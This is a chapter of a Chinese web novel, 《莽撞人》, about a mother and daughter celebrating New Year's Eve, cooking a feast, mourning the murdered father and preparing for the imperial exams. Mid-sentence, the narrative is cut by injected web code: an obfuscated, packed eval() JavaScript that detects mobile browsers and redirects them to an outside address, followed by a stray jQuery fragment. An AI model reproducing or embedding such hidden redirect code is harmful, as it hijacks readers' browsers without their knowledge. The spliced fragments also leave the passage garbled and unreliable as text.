89.除夕
作品:《莽撞人》 今晚就是除夕夜,谢渊的离开并未给母女俩带来太多波澜。
于萱草如今的毛笔字虽说不上大气磅礴,但是写几副春联还是没什么问题。
文凤霞和她用笔墨在红纸上写了个大大的倒“福”贴在屋门和院门口,用浆糊黏了好几层才粘住,寒风瑟瑟,两人揣着手,却不觉冷。
文凤霞盯着院门口的车辙印,忽然伤感起来,“儿啊,你还能再陪我几个春秋呢?”
一家有女百家求,她虽咬死不放女儿成亲,可这到底是早晚的事儿。
院门前的车辙印很深,这几日并未下雪,但是巷子里出行的人多,地上的土很松,车轮一旦经过,就能看出来。
那上面有几道,就是谢渊离去的踪影。
于萱草“啪”“啪”拍了两下,确认那福字和对联都粘得牢固,才有空回话。
“娘,你说得啥话呀!”
她退后几步,见院门口被收拾得干净利索,才笑着看文凤霞:“我到哪儿都带上你,就算嫁了人我也带上你。”
文凤霞觉得她在糊弄自己。
“别人我不敢保证,但是谢渊应该蛮喜欢你陪着我俩住的,他家中父母俱已早逝,昨晚他偷偷跟我说——他府上足足能住下几百号人,但是这么多年大多数房间都空置着,你要是能去府上住,他只会欢喜家中有长辈,不会碍于规矩,觉得你失了分寸。”
文凤霞没想到谢渊会说出这种话。
对于女儿她的确是舍不得,这么多年娘儿俩相依为命,文凤霞恨不得自己能陪于萱草一辈子。
她双手揣在袖子里,感觉眼眶很酸。
于萱草看她这个情状,上前一步抱住她,“我的亲娘哎!女儿这辈子不会把你抛下的。”
文凤霞堪堪止住眼泪,她用拇指肚摁掉眼角的泪痕。
她恨道:“谢渊这个不要脸的......”
他若只是报恩,文凤霞只会念他的好,可他要来抢于萱草,大过年的,文凤霞恨死他的心都有了。
“不说他了娘,他算什么,我们的日子跟他不相干。”
于萱草牵着她回院子。
小长工见两人回来了,甩着尾巴凑到文凤霞跟前儿,向她讨要吃的。
文凤霞被逗乐了,那些个思绪顿时抛到脑后。
两人从午前开始做饭,商量着做一顿大餐。
今日的天色晴好,巷子里到处都是脚步的走动声,卖碳郎还在走街串巷,想着新年前再挣些钱。
“文嫂子——”
永济巷忽然有道轻快的脚步声,有人在拍门,于萱草听这动静耳熟,文凤霞快步去开门,一见是马静。
马静笑着问文凤霞:“文姐,你家有多余的鱼吗?”
新旧交接的头一晚,大家都乐意吃鱼,象征着“年年有余”的好兆头。
文凤霞还真多买了几条,只因年节这几天坊市歇业,得提前把菜品准备好,不然家家轮流请客,席面短缺不好看。
她立马道:“还真有,我给你拿一条?”
马静知道文凤霞阔绰,也是锅炉上的菜不好歇,否则她就自己去坊市了。
闻言她连忙道谢,从袖子里掏出几枚钱,递给文凤霞。
文凤霞将还乱蹦的鱼递给她。
马静走后,于萱草好奇道:“娘,那鱼怎么还活蹦乱跳的?”
她记得都买回来一晚上了。
大冬天新鲜鱼可不多见,更别提清水镇远离河流,想要买到活鱼可不容易。
文凤霞回到屋里继续准备做饭用的香料,闻言,她不在意道:“谁知道,据说这鱼是家养的,我去挑的时候都还挺精神,回来之后随意养在桶里也没死。”
因为是家养的鱼,所以个头也小一些,不然文凤霞不会多买。
于萱草挺神奇,看着娘道:“娘,我发现你养啥活啥,指定有点说法。”
文凤霞收下她的夸赞,笑得眯起眼。
十月中旬娘儿俩就在仓房腌上了酸菜,前几日于萱草和文凤霞用一部分酸菜和上猪肉馅包饺子,今儿个锅上打算吃两种,一笼蒸的,一锅煮的,部分馅儿还拌了粉条。
于萱草很爱吃粉条,她手下还在碾土豆泥,“娘,这个土豆泥是不是也能当馅儿?”
“可以,不能加太多,否则口感不好。”
文凤霞哼着戏曲儿,情绪早就和缓过来,眼里全都是对好日子的憧憬。
除了一些炒菜要用的香料和肉类,青菜也必不可少。
冬天的青菜是稀罕物,前些年新帝登基后,工部的官员在北方发明出一种暖棚种植法,那之后青菜在冬天也活得多了。
“今天是咱们搬到镇子上的第一年,可得好好吃一顿。”
文凤霞手下利索地割开羊肋条,于萱草在一旁冲洗羊肠,想着吃顿血肠。
小长工在窗外兴奋地驴叫,于萱草给它买了些上等的谷料,它高兴地在屋后面扯那根枯树玩儿。
折腾了好久,血肠才处理完。
午饭娘儿俩摆上了蒸饺,卤猪蹄,羊肋条,黄瓜什锦拉皮,酸菜排骨炖粉条,酱牛肉,清蒸鱼......
堂屋的桌案被挤得满满当当,两人开心地吃起来。
这一顿饭吃得肚子饱胀,于萱草往日不怎么喝酒,但今儿个还是顺着文凤霞的意买了几两回来。
天色渐黑,屋外不断响起鞭炮声。
孩童们跟随着大人的脚步声嬉笑吵闹,文凤霞推开堂屋的门,抬头望了望粉白的天。
越往北地走,到了冬天天空就越是粉白。
这样的粉白是反射了地面的雪光,所以夜空也并非纯然漆黑。
炮仗声噼里啪啦的传进来,爆竹声中一岁除,家家户户都在守岁。
寒冷的气息从门外蹿进来。
于萱草点上三根蜡烛并排放起来,昏黄的烛火比以往更盛,照得堂屋亮堂堂的。
随后她起身给堂屋角落放着的牌位倒酒。
于柏生的牌位从不落灰尘,文凤霞一有时间就抱着那牌位说话,有时候就好像魔怔了似的。
香炉里的香点了有一会儿。
于萱草给父亲倒完酒,才把自己的酒杯倒满。
她跪在蒲团前,想了想,第一句还是,“爹,日子好起来了。”
文凤霞并不敢在外面吹太久的风,她的身子只是比以前好了一些,远远比不上寻常人康健。
早在于萱草说第一句话的时候,她就阖上门进屋来了。
屋外是震耳欲聋的炮仗声,夜空中烟花不断,万家灯火在这一刻具象化了。
“爹,日子好起来了。”
于萱草重复了第二遍,握着酒杯的手就有点颤抖,她垂下头,颤抖着将杯中酒猛地灌进喉咙里。
“爹......魏向云死了,我替你报仇了。”
耳边的哭声骤然加大。
文凤霞捂着脸,哭得泣不成声,她扶着一旁的五斗柜,逐渐跪在地上,捂着自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920269|185278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心口,难过地揪起眉头。
“砰!”
一声巨大的烟花在永济巷升空,掩盖住母女二人的悲伤。
于萱草泪眼模糊,狠狠抹掉面上的泪,“我要考科举了,指不定还能给你挣出个功名来。”
“我也不明白,魏向云怎么就那么狠心把你杀了,你要是在的话,没人敢欺负我跟娘......”
于萱草伏在蒲团上,借着接连上空的烟花大声地哭泣。
她也不想这么早做顶梁柱。
可生活的苦,比黄连更甚一百倍。
天快亮时,大街小巷的炮竹声才停歇,母女俩见时辰差不多了,就在西屋的炕上睡下了。
文凤霞摸了摸女儿红肿的眼眶,像小时候那样拍着她的脊背,哄她入睡。于萱草搂着文凤霞的臂膀,很快沉入了梦乡。
第二日起床,母女俩温热了昨日没吃完的剩菜,这才架着驴车去拜年。
母女俩并没有什么亲戚。
他们架着驴车也只是为了看看街上新年的好风光,但也正是因为新年第一天,街上没什么人。
于萱草想了想,干脆提着年礼去给永济巷的几个邻居送了年礼。
大年初一应是本家亲戚自己走动,像于家这样邻居直接来送礼的还少一些。
于萱草和文凤霞进到邻居家说了几句话,便回到自家。
新年这几天,于家小院上上下下都洒扫过,母女俩也没有什么要干的事情。
文凤霞按照于萱草说的法子,开始熬奶糖。
自己熬得奶糖吃着很香,闲来无事嚼上几口,满嘴生香。
于萱草猫在炕上看书。
她这一看便整整看了几天,从大清早学到子夜,几乎是昼夜不停。
文凤霞都担心她瞎了眼睛,叫她劳逸结合。
于萱草撂下一句:“我不累,这点书又看不死。”
跟高考比算什么,跟考研比算什么,跟考公比算什么?!
于萱草是打定主意今年一定要考中的。
没过多久,项文君派了侍女来送信,邀她去府上一叙。
于萱草想了想,对着那婢子说道:“你们小姐有事情吗?”
婢子想了想,行个礼:“小姐说了,您若是有事,明日相聚也好。”
于萱草欢喜道:“那有劳姑娘,我明日亲自登门,叫文君不要撵我才是。”
“姑娘是我们小姐的心上人,怎会撵您出门去。”
那婢子讨巧道,又一行礼,便驾上马车回去了。
文凤霞知道这是县令的女儿,啧啧称奇:“倒是个好脾气的,我听说有些官宦人家的子嗣,对咱们这种贫苦之家连个眼神都不给。”
于萱草栓上门,才回道:“别看这婢子态度好,当初若不是我替项文君解决了读书一事,她万万不会给我好脸色。”
她没忘初见时,项文君那高傲的神情。
文凤霞点点头。
于萱草今日的确没时间。
只因章越昨日跑了趟永济巷,特意给她送来了京城拓印的真题,她心里痒痒,便不太想出门,只想快点把这些题做完。
文凤霞:“......小谢还给你送了几个东珠呢,你是看也不看。”
这东珠乃皇室御用,谢渊说他这是特地从皇帝那儿求赏,想以后留给自己妻子用的。
于萱草忘了这茬。
她只好道:“那我也不会轻易收下,等改日我考中了再说吧。”

